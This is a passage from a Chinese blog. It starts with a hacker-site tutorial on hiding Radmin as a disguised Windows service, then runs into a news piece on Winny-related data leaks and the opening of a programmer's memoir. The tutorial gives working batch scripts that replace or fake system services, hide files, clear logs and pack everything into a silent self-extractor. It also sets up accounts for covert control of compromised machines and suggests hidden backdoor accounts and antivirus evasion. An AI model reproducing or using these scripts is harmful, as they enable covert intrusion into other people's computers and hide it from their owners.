2、接下来我拿系统的ClipBook服务开刀做下替换。编写一个批处理文件，命名为baby.bat
——————————————–
@echo off
@sc stop ClipBook
@sc delete ClipBook
@sc stop r_server
@del %systemroot%\system32\AdmDll.dll
@del %systemroot%\system32\raddrv.dll
@del %systemroot%\system32\R_Server.exe
@del %systemroot%\system32\dllcache\ClipSrv.exe
@del %systemroot%\system32\ClipSrv.exe
@copy %systemroot%\system32\Setup\ClipSrv.exe
%systemroot%\system32\ClipSrv.exe
@copy %systemroot%\system32\Setup\raddrv.dll
%systemroot%\system32\raddrv.dll
@copy %systemroot%\system32\Setup\AdmDll.dll
%systemroot%\system32\AdmDll.dll
@ClipSrv.exe /install /silence
@regedit /s radmin.reg
@regedit /s server.reg
@sc config ClipBook start=auto
@sc start ClipBook
@sc delete r_server
@del radmin.reg
@del server.reg
@del sc.exe
@clss.exe
@cls
@del baby.exe
@shutdown.exe -f -r
@del first.bat
@del baby.bat
@del clss.exe
@del shutdown.exe
——————————————–
Radmin.reg注册表文件时服务配置,Sc是微软服务修改程序(比尔其实对我们还满不错的哦，嘿嘿)，clss.exe是日志清除工具(大家要养成勤扫地的习惯噢！)，shutdown.exe是关机程序,这个程序无关紧要，关键看您的性子怎么样了（急性子的黑友建议使用）。Server.reg就是ClipBook服务的描述信息了，要伪装当然要做的够专业啊。
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ClipSrv]
“Description”=”启用“剪贴簿查看器”储存信息并与远程计算机共享。如果此服务终止，“剪贴簿查看器” 将无法与远程计算机共享信息。如果此服务被禁用，任何依赖它的服务将无法启动。”
“DisplayName”=”ClipBook”
上面的信息是由原ClipBook服务所对应的注册表键值
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ClipSrv] 提取出来的。
因为分支包含了部分电脑路径和安全信息，每个电脑都有些许区别，所以把精炼的东西提取出来做为我们的伪装信息。
然后，把我们所用到的工具、注册表文件、批处理文件打包。配置RAR高级自解压格式所选项嘀时候，注意那个解压路径 写成%systemroot%\system32\Setup这个目录
步骤1 选择『在当前文件夹中创建』
步骤2 在『解压后运行』输入baby.bat
步骤3 在『解压前运行』输入first.bat
步骤4 选择RAR高级自解压缩选项中的『模式』改两个地方，选择『全部隐藏』和『覆盖所有文件』。命名自解压缩程序命为baby.exe
第二 就是添加一个完全属于偶嘀服务的方法。
1、编写一个批处理文件，命名为first.bat
——————————————–
@echo off
r_server.exe /stop
——————————————–
呵呵，安全第一。
2、接下来偶为我亲爱的小马创建个服务。
服务名称：wmipd
显示名称：Windows Management Instrumentation Player Drivers
编写一个批处理文件，命名为boy.bat
——————————————–
@echo off
@sc stop r_server
@del %systemroot%\system32\AdmDll.dll
@del %systemroot%\system32\raddrv.dll
@del %systemroot%\system32\R_Server.exe
@wmsrv.exe /install /silence
@regedit /s radmin.reg
@net start wmsrv
@attrib +r +h %systemroot%\system32\drivers\wmsrv.exe
@attrib +r +h %systemroot%\system32\drivers\admdll.dll
@attrib +r +h %systemroot%\system32\drivers\raddrv.dll
@regedit /s server.reg
@sc config Windows Management Instrumentation Player Drivers start=auto
@sc start Windows Management Instrumentation Player Drivers
@sc delete r_server
@del radmin.reg
@del server.reg
@del sc.exe
@clss.exe
@cls
@del boy.exe
@del first.bat
@del boy.bat
——————————————–
Radmin.reg注册表文件时服务配置,Sc是微软服务修改程序，clss.exe是日志清除工具。Server.reg就是Windows Management Instrumentation Player Drivers服务的描述信息了，要伪装当然要做的够专业啊。
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wmipd]
“Description”=”为Windows Media Player提供加载进程及为其他的移动媒体，驱动程序和库提供基层安全协议服务。”
“DisplayName”=”Windows Management Instrumentation Player Drivers”
然后，把我们所用到的工具、注册表文件、批处理文件打包。配置RAR高级自解压格式所选项嘀时候，注意那个解压路径 写成%systemroot%\system32\drivers这个目录
步骤1 选择『在当前文件夹中创建』
步骤2 在『解压后运行』输入boy.bat
步骤3 在『解压前运行』输入first.bat
步骤4 选择RAR高级自解压缩选项中的『模式』改两个地方，选择『全部隐藏』和『覆盖所有文件』。命名自解压缩程序命为boy.exe
如果在Radmin服务已经安装的前提下，还可以用Sc.exe把它的服务信息修改了，在这里我就不做演示了，大家动手做做~~~
优点：
1.在系统服务中看见的是Windows Management Instrumentation Player Drivers服务
（可以自定义）
2.服务说明是 为Windows Media Player提供加载进程及为其他的移动媒体，驱动程序和库提供基层安全协议服务
3.在cmd命令提示符下面，使用net start命令看见的是自启动服务是
Windows Management Instrumentation Player Drivers
4.在进程中看见的是wmsrv（可以自定义，在boy.bat文件中相应的位置改一下，注意不要和已有的系统进程起冲突）
第三章 Radmin的访问权限的设置
设置恰当Radmin的访问权限，能够更好的方便在线教学工作的开展，还可以让高手帮
您设置一些东西和远程维护系统，又不会担心别人窥探您的隐私或给下个木马类的好东东。
（呵呵~~~~偶不是贬低高手的道德噢，请高手们别生气~~~）
设置Radmin的访问权限的，首先要设置一个登陆用的帐号net user hackbase neugirl /add
用户所属组为user，这个权限已经够用了。
输入r_server.exe /setup命令调出Radmin服务端设置程序
步骤1 选择『设置参数』，其他参数的配置我在这就不多说了。现在我们关键讲述下『连接确定』的设置
① 如果是做在线教学工作或远程协助，在这里选择『使用用户许可』—『连接超时自动拒绝』超时时间，设置的长点。这里我设置为30秒。（如图：3-1）
② 如果您要是在肉鸡上建立的用户，使用远程操作，那么『连接确定』就不要设置了。免得跳出个要求连接的对话框把管理员吓坏了，这样就不好了。
步骤2 选择『设置密码』—『使用NT用户安全验证』，激活『确定使用』，然后点击『许可』—『添加』。然后会弹出一个『Add user/group』的会话框，点击左下角的『显示用户』，这样电脑中的所有组和用户都显示出来了。选中偶刚才新建的hackbase帐户，添加到右边的会话框中，在右上角的『存取权利』中选中您希望为hac
kbase该用户开启的访问权限。（如图：3-2）
具体权限分配：
Special access 特殊权限
All access(RTVFC) 所有权限
Full control of screen 完全控制
File transfer 文件传送
View of screen 查看屏幕
Telnet Telnet连接
Redirect 重定向（这个功能偶一直没有找到是控制什么的，请高手赐教）
No access 无权限
然后一路点OK，回到Radmin服务端设置程序后点击『安装程序』，等到安装通知提示“服务安装完成”后，在CMD命令提示符下输入命令net start r_server启动服务。
步骤3 样您在客户端连接服务端电脑的时候就弹出『输入NT用户』的对话框，在这里我填写的是 用户名：hackbase 密码：neugirl 所属域（这个可以不填写）（如图：3-3）
其中Redirect 重定向这个控制什么，偶一直没有弄明白。请请高手赐教。经过妹妹偶做过大量试验证实：Radmin的访问权限的设置适合于Windows 2000和Windows 2003系列各个版本上使用，对于Windows XP 系统Radmin的2.1和3.2版本都不支持。不知为何原因，希望高手能够指点。如果想对远程主机做Radmin的访问权限配置只要在本地主机事先建立一个帐户，然后分配所希望开放的权限，点击『安装程序』，然后在注册表[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Users]分支中就会出现您分配过权限的帐户名，在它的键值中有该用户所属域的“组”及“Radmin控制权限”，把这个注册表文件导入到远程主机中，然后在其电脑中建立了同用户名的账号，这样就全部搞定了。
有兴趣的朋友还可以建个隐藏账号作为我们的永久后门！
后记：下面还有一个我写的批处理文件，是用来定时运行Radmin程序的，虽然微软公司的系统维护工具soon和sleep都能够定时运行程序，可使用自己写的批处理文件能够达到目的，也是很欣慰的。嘿嘿
这里说明下批处理文件编写的思路：首先查询本机的当前时间，当然把批处理文件放到肉鸡上就能查肉鸡的时间了。然后把读取的时间暂时存储在内存中，把时间函数拆分为“小时”和“分钟”两部分，付值到tokens调用的两个函数中。在set /a mm=%mm%+2一句中添加上你希望延长多久再运行程序。
@echo off
color 0A
cls
Rem ===============以下是radmin.bat的内容=================
@echo off
echo 正在查询本机的当前时间
echo.
net time \\127.0.0.1 /set /y
for /f “tokens=1,2 delims=:” %%i in (“%time%”) do set /a hh=%%i & set /a mm=%%j
echo %1当前时间为%hh%:%mm%
set /a mm=%mm%+2
if /i %mm% geq 60 set /a mm=0 & set /a hh=%hh%+1
if /i %hh% geq 24 set /a hh=0
set tm=%hh%:%mm%
echo.
echo 设置启动AT命令运行的时间为%tm%
echo.
at \\127.0.0.1 %tm% net stop r_server
Rem ========================完=============================
echo ======================================================
echo 魔女の条件—Radmin自启动程序
echo 黑客基地 www.hackbase.com
echo ======================================================
echo 最多再过120秒，Radmin服务就会被启动，请稍侯…
echo 请明智地使用，否则可能导致民事或刑事处罚!
echo 欢迎到黑客基地论坛发表高见或者用QQ联系偶!
echo
echo 版权所有:魔女の条件
echo QICQ:9500142
echo E-mail:lucifer@hackbase.com
echo ——————————————————
在配置Radmin服务端的时候除了对程序的免查杀处理，还有对其程序图标作下修改，建议使用剑鹰文件合并器或用灰鸽子图标修改器修改成微软系统内部图标。对于Radmin启动隐藏请参见《黑客X档案》第九期《Radmin之自启动》，风写的这个自启动方法很有见地。
分类 : 技术文摘 | 发表时间 29-03-2006
把计算机的系统日期该为2038年1月19日03:14:07以后的任意一个时间, 哈哈, 著名的卡巴斯基崩溃了! 这是不是给病毒制造者一个非常容易逃过卡巴斯基查杀的新方法呢? 
分类 : 系统安全 | 发表时间 23-03-2006
连日来，日本全国上下都被一种名叫winny的点对点网络文件交换软件搞得束手无策。装有这种软件的电脑一旦感染某些病毒，就会导致电脑内存储的秘密信息在不知不觉中流失。目前各方面都在采取紧急措施，以求堵上信息安全的这扇“天窗”。
今年以来，日本政府机构和自卫队相继发生多起泄密事件。2月下旬，海上自卫队护卫舰相关密码信息流失到国际互联网上；3月份，陆上自卫队和航空自卫队的业务信息、冈山县和爱媛县警方的搜查信息泄露。其他的流失信息还包括医院的患者个人信息、银行的票据处理记录、学校的学生成绩表等。
在海上自卫队的秘密信息泄露后，日本首相小泉纯一郎就意识到了事态的严重，他指示官房长官安倍晋三尽快寻求对策。随着调查的进展，winny软件逐渐浮出水面。人们发现一系列信息泄漏事件有一个共同点，那就是这些机构内部工作人员都曾经用装有winny软件的私人电脑处理公务。
winny是在日本广受欢迎的一款网络文件交换软件，用户可用它在网上检索感兴趣的电影、音乐和游戏等文件，如果在其他winny用户电脑的共享文件夹中找到了需要的文件，就可以随心所欲地下载。该软件于2002年12月问世，可以从网上免费下载。使用以往的软件交换文件需要通过服务器，而winny支持电脑间不经由服务器直接交换数据。winny基于自由网模式，用户的IP地址是保密的，同时它能有效突破防火墙。winny的上述特点使它的人气急剧攀升，目前日本国内用户据说已逾百万。
而winny恰恰是一些电脑病毒的温床。如果使用winny下载的文件中隐藏着“Antinny”等病毒，用户只要双击下载的文件图标，就会导致电脑感染病毒。病毒在电脑中任意将个人文件压缩后放置到共享文件夹中，导致信息泄漏。由于电脑本身不会出现异常，用户往往直到被别人告知自己的个人信息泄漏了，才意识到电脑感染了病毒。更为糟糕的是，流失的文件会被记录到许多电脑中，几乎不可能回收。
事实上，由winny软件为媒介的信息泄露事件在2004年之后就时有发生，只是今年几起事件涉及国家机密才在日本上下引起轩然大波。
为尽快堵上信息安全领域的这扇“天窗”，安倍晋三在本月9日召开的事务次官会议上要求贯彻信息管理措施。接到指示的各省厅都开始强化电脑管理制度，规定不能在政府机关内使用私人电脑，若需将个人信息或行政文件带出机关，必须获得上司的许可等。考虑到信息泄漏事件已扩散到民间企业，日本政府15日要求金融、航空等和国民生活及社会经济活动密切相关的基础行业彻底采取防止泄密的措施。
同时，美国微软公司15日公开了提供病毒应对信息的网页，并更新了杀毒软件以对付最新的相关病毒。据悉，针对“Antinny”病毒的杀毒软件已经能够对付该病毒目前已被确认的43种亚型。
但也有人对政府呼吁谨慎使用winny软件表示不满，他们认为winny本身没有问题，罪魁祸首是病毒。日本中京大学信息技术副教授铃木常彦指出，即使把全部责任都归咎于winny，也无助于从根本上解决问题。他认为，当前教育中缺乏关于如何合理利用网络资源的内容，政府应该正视这个问题，把泄密事件作为充实相关教育的契机。
分类 : 网络日志 | 发表时间 20-03-2006
老程序员十年生涯黯然总结（上）【转自CSDN】
愿以此文与大家共勉，让我们在代码的世界里自由自在的飞翔……
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
今年是我大学毕业满10年的日子，也是我投身it技术的第10年。一直想能对过去的经历做些回顾与反思，以更好地走向未来，但总没有笔。刚好csdn举办“讲述程序员的故事”征文，这件事成了一个引子，我终于趁着暑期有时间，敲了一天键盘，便有了这篇人生自述。
10年对于一个人来说是比较长的一个阶段，10年之后，同期大学毕业的同学情况差异之大，让人叹息命运之变幻莫测。
我在此记录下了我的生活足迹，由于时间较长，有些事记得不太清了，但我是尽量真实的记录当时的情况，有兴趣看我这篇长文的人请把我看成是一个在你我中间一块生活，一起喜怒哀乐，一起努力的平凡人，相信我们之间会有很多跨越时空的情感交流。
好，就说到此吧。
序
从1994到2003，不知不觉之间，我已在计算机技术的世界里沉浸了十年。有位哲人说过：如果一个人能用十年的时间专心致志地研究一门学问，或学习一门手艺，或从事一个职业，他一定能成为这个领域的专家。我天资平庸，但哲人的话是有道理的。我用十年的时间先成为了一名合格的程序员，再成为了一个重点大学计算机专业的大学教师。十年磨一剑，蓦然回首，年华如水，青春如歌！
我父母都是城市中的平民，家境仅能解决温饱，我想我可能代表了中国社会的一大类青年，我的经历与体会可能会对许多条件并不好的年青程序员有所启示：只要努力，天资差与环境不好都是可以克服的。因为我不是牛人，所以我不能教你如何成为牛人，我只是尽量真实地写下我的经历与感触，写一个平凡人的努力过程。我为我是一个软件开发者而自豪，为我从事的教书育人的事业而自豪，并愿意为中国落后的软件业尽己菲薄之力，为此，我人生无悔！
我想分为三部分讲述我的人生经历：上篇：学习人生：主要是我学习计算机技术的经历与感触，时间跨度大约是从1994~1996年；中篇：艰难人生：主要是我流迹社会，失业一年半，三次考研的痛苦经历；时间跨度大约是从1997~1999年；下篇：实践人生：主要是我的技术实践经历：在公司打工，开发软件，毕业求职与教书生涯，时间跨度是1999~2003。
一 计算机是什么东西？
我是七十年代初在中国出生的那一代人，等我们长大开始读书时，文革已经结束，相对于我们的兄长，从我们这一代开始，以后出生的孩子都能受到较为正规的教育，这是我们幸运的地方。
也就是我们上小学的时候，七十年代末，以美国为技术资源中心的计算机技术开始在全球范围内迅猛发展，这时正是世界性的“软件危机”极为严重的时候，计算机技术各方面都在酝酿着新的突破，而此时比尔盖茨也正在准备构建他的明日微软帝国。
七十年代末与八十年代初，在我们的生活中，看不到一点计算机技术的影子，刚刚改革开放的中国，99%以上的人连“计算机”这个词恐怕都没听说过，中国游离于信息技术大门之外。
在“振兴中华”成为时代主旋律的八十年代，整个中国真的是呈现出一种勃勃的生机，这是一个民族在经历百年耻辱，十年挫折之后的再起步，象一些老歌—《金梭与银梭》，《在希望的田野上》等，就是当时青年的一种积极向上的精神风貌的体现。这种环境下，对于正在成长中的我们这一批少年，在潜意识中有极为深刻的影响，我们认为爱国与振兴中华是天经地义的事，并且成为了努力学习的主要动力（呵呵，现在的一些“愤青”—愤怒青年一定会说我们当时被“洗脑”了，也许真的是吧，这种信念确实会给人以极大的动力，我看不出有什么不好，至少我不会有现在这一批青年所经历的非常迷茫的感觉）。
1986年我考上了桂林市重点高中—桂林中学，在那儿，我第一次见到了电脑。
1．中学的计算机兴趣班
1987年我在桂林中学读高二，桂中是重点高中，条件较好，当时学校课外安排了两个班：无线电班和计算机班，我上的是计算机班，当时用的微机是apple ii，用basic编程。记得当时中国也开发了一种同档次的计算机，叫做中华学习机，要在中小学中大力推广，但apple ii后来发展成了著名的mac系列，并拥有了自己的操作系统，而中国的中华学习机，还有后来的小霸王等电脑学习机，都无疾而终了。
学校安排上机，有同学不知从哪找来了一些有趣的basic程序，什么“比翼双飞”，“飞机空战”等等，都是一些非常简单的小游戏，当时他抄了厚厚一本，一上机就敲一些到计算机中运行，而我是一点也不会，只有站在一边看的份。
那时会计算机的人很少，老师讲的我又不明白，考试的时候也不知道怎么过的。呵呵，后来我读研打工时，在网上看到洛阳一个高中生用vb编的一个“电子书童”程序，水平之高，我当时真是没法比。
1989年六四动乱，广西高考名额一下减了7000多，竞争激烈，十几人里才能取一个，由于压力过大，我高考前夕失眠，第二天考语文，120分的试卷当时只考了68分，因而与重点高校无缘。本想复读，但父母怕我来年考不上，一定要让我读广西大学，我万分不情愿地顺从了父母的意愿，去了我不喜欢的学校，读了我不喜欢的专业。男怕入错行，我在大学毕业后重新开始学我喜欢的专业，足足用了五六年的时间才转过来，真正成为一名合格的劳动者，走了一条长长的弯路，所以，父母的决定对缺乏经验与决断力的孩子而言，真的是非常重要。
现在想起来，父母当时没错，我也没错，那都是在时代与社会环境下的自然选择。
2．失败的四年本科与工作初期
作为六四之后第一批进入大学的本科生，我们学习了两年的“六四风波的反思”，四年里我是个老老实实的好学生，但四年除了玩命过了六级，什么也没学会。
记得大学第一节课就是basic语言，呵呵，也根本没学会，但我看来注定了要与basic难解难分了，后面的实践篇中我会讲我用basic开发的事。
大学里我学的专业是电力系统自动化，学过微机原理与fortran，上机时还用的是古老的主机加终端方式的计算机（叫做l/f机），我上机时真是一塌糊涂，因为这门课我从没学进去，也从没学懂过。有同学很厉害的，会用电脑打印出许多漂亮的图片（当然现在看起来很粗糙，针式打印机打的），我那时就称这些人为牛人了。
呵呵，我如果没记错的话，做超级解霸的梁肇新也是广西大学的，但不是我们系，记得我当时就已听到有关几个计算机牛人的事，估计其中就有他吧，如果我记错了，梁肇新先生请指正。在本科期间，我对电脑是神秘多于兴趣。这也说明我成为不了牛人与大师，天资有限。后来，我发现一个普遍的规律，如果能成为计算机方面的牛人与大师，请去翻翻他们的传记，绝大多数在本科期间就已展露出他们的才华。而我们现在的中国高校，这么多的本科生都在为考试、考研、考托、考g而奔忙，这种填鸭式的应试教育体制，扼杀了太多学生的创造性。结果是一个学生在大学里读得越认
真，就受到的错误影响越大，我是用好几年的时间反思才得出这个结论的。所以，中国高校十几年数以几十万计的本科生中出不了可编写linux内核的杰出人才，一点也不奇怪。
1993年我毕业了，用我总结的一段话来说，是：
一张白纸进来，一脑浆糊出去。
毕业后我分到了一所号称是“中港合资”的生产蓄电池的公司，呵呵，刚刚工作的日子让我这个单纯的大学生被生活好好的教训了一下，许多无法以前想象的社会现象让我目瞪口呆，年轻气盛导致穿了小鞋，还只能忍气吞声。吃了生活的一个闷棍，我才明白，我除了有张文凭，什么都不是！
当时，我感到最郁闷的是我在公司里什么都不会做，一个电机烧坏了我楞不知如何下手修，公司老总办公室里的灯不亮了，学电的大学生我花了半小时楞不知原因在哪！我学的东西没一样能用的。开始我还以为是因为我在学校里没认真学，但后来问了很多同学，90%以上的都有同感，我现在终于认识到这不单是我个人的错，我自认为在学校中是很努力的，从未偷懒过，但如果90%以上的学生所学不能服务社会，这种教育体制一定存在问题。
四年里，我的电脑知识与技能=0！
现在看起来，我浪费了宝贵的四年光阴！但当时的环境与认识水平，也只能如此了，没有当初的浪费，怎有后来的珍惜？这是人生必经的一个阶段。
二 漫长的理论学习时期
二 漫长的理论学习时期
1．从电脑培训班开始
我毕业后的第一个工作单位是一个非常差的企业，我在那儿见识了几乎所有中国差的企业的弊端：人浮于事，拉帮结派，暗箭伤人，损公肥私……。可以想见，在这样的企业工作，人是多么的颓废。我在无聊之中过了大半年的时间。1994年4月的一天我去桂林新华书店买书，看到桂林电子工业学院老师举办一个电脑培训班，教打字、排版、常用dos命令等电脑使用基础，反正也没事，不如上个班学点东西吧。不曾想就是这样一个培训班，却根本影响了我的人生之路。
我清楚地记得当我第一次上机时，连电脑开关在哪都找不到，老师拿着一张五寸软盘，插入软驱，打开电源，在一阵“吱吱”的声音之后，屏幕上开始有英文字符出现，然后，教师在键盘上敲入几个键，电脑沉默一会，突然在屏幕上跳出一个小人，出现一行字：快快乐乐学电脑，还传出了音乐。我当时真是惊呆了，电脑怎么还会唱歌？现在想起来，那个软件其实是台湾松岗系列教学软件，而我一个大学本科生，在毕业之后居然对电脑无知到这个地步，我真不知道是该哭还是该笑……！
俗语说：“一见钟情”。我是相信这种事的，因为就是这第一次上机，让我产生了搜索这一神秘世界的强烈兴趣，从此就再难与电脑分开了。
当时，有两位电子学院的老师：尹老师和陈老师。他们给我们讲dos，讲汉字输入，讲他们如何修改天汇汉字系统使它能在一张软盘上运行，讲打字排版……，一个月之后，我不满足，又学了一个月。
在上培训班的时间里，我向老师要来了桂林电子工业学院计算机应用专业本科四年的培养方案，回到家中，列出了所有本科课程，再根据书上的先修课程介绍，绘制了一张巨大的课程树，从树根开始，决定一本本地啃，从头开始学计算机技术。计算机科学的学习有较强的系列性，想一步到位很可能会学不懂，但循序渐进又无法跟上技术发展的速度，这是一个非常突出的问题。我现在想起来，觉得好的学习方式是：学理论打基础，在实践中逐步理解理论，多思多悟，就会发现层出不穷的新技术中有许多一直不变的东西存在。把握这种东西，就可以以不变应万变。这种“不变”的东西是什么？就是软件开发的基本原理与理论，基本思想与方法！在我对面向对象理论进行了较深入的学习与把握之后，我学.net只用了三个月的时间就可以独立设计一个完整的全面向对象软件架构，并且用vb.net与c#混合语言把它给做出来了。对于j2ee，我同样有这种自信，也用三个月的时间，一定可以开发与设计基于j2ee平台的软件，因为它们背后的计算机技术基础是一致的，完全可以触类旁通。
尹老师和陈老师可能不知道，他们开的一个也许是为了经济效益的培训班，最后居然培育出了一个计算机硕士！所以，作为一名教师，其责任真的是非常重大的，可能会影响学生的一辈子，我感激他们！
2．漫长而艰辛的学习之路
我当时每月只有一百多元的工资收入，把大半收入都用到买书上去了。电子工业学院门旁的那个科技书店，以及桂林科技书店，成为了我最常去“站读”的地方。我买了数据结构、操作系统、微机原理、ibmpc汇编程序设计，c程序设计……这些教材，就按照预定的计划开始学了。
我当时也说不清楚为什么要学这些东西，决不象现在学生学什么东西都有很强的功利性：学英语为了出国，学电脑为了好找工作。当时根本就没有想过今后如何如何，就是对计算机技术本身的兴趣推动我去学习的。
当时计算机书还不象现在这样扑天盖地，我几乎看完了我能弄到的每一本计算机书，看了一些书，就特别想有地方上机，能练一练。但我一个月一百多元收入，一台电脑怎么也得几千元，要五六年不吃不喝才攒够钱，父母都是普通百姓，家境仅能温饱，拥有一台电脑真成了我最大的美梦。
为了有机会上机，我这个脸皮极薄的人也会什么都顾不上了，带着一盒保存着各种软件的软盘，厚着脸皮到处找可能的地方上机。在这个时候，电子工业学院又一次帮了我，他们的机房管理得并不严，我就冒充是他们的学生去买机票上机。后来去得多了，那儿的老师都熟悉我这张脸了，但搞笑的是，居然没一人知道我是哪个班的！
当时电子学院用的局域网操作系统是novell，我在那儿学会了使用许多最基础的软件，现在仍然如数家珍：cpav，turbo pascal 5.5，ucdos，tway（天慧汉字系统），masm，turboc2.0，还有鼎鼎大名的norton公司的磁盘医生ndd，pctools，borland公司的最牛的常驻内存的软件sidekick，……
在电子学院机房，我还玩了经典游戏：决战中国海，冒险岛，战斧，三国……。
学校网络里软件很多，但其中所染的病毒也五花八门。我记忆深刻的是第一次遇见dir ii病毒时，那种感觉决不是害怕，而是欣喜，呵呵，我见到病毒什么样的啦！由于dos内核是开放的，所以那时开发一个病毒程序相对容易，大家又都喜欢用软盘拷来拷去，结果毒源泛滥，病毒的猖獗使得杀毒软件有了巨大的市场，现在大名鼎鼎的江民kv系列，就是在那时开始占据中国防毒市场，同时还有部的kill等竞争对手，瑞星，金山等都是后来者。
那时，我白天在公司上班，就盼望着晚上的上机，每次上机我都有详细的计划，因为机时宝贵，所以份外珍惜。
为了上机时能多敲些程序，我一咬牙，向妈妈要了两百元，买了一台电脑学习机，回家苦练英文指法与五笔输入，每天对着家里那台14寸的电视机屏幕，敲击至少键盘2小时以上。练得手腕酸疼，但终于达到了运指如飞盲打的程度。学五笔，背字根“目具上止卜虎皮……足足花了一星期才背下来，并把每个字根与手指对应起来，后来看报纸都不自觉地将汉字
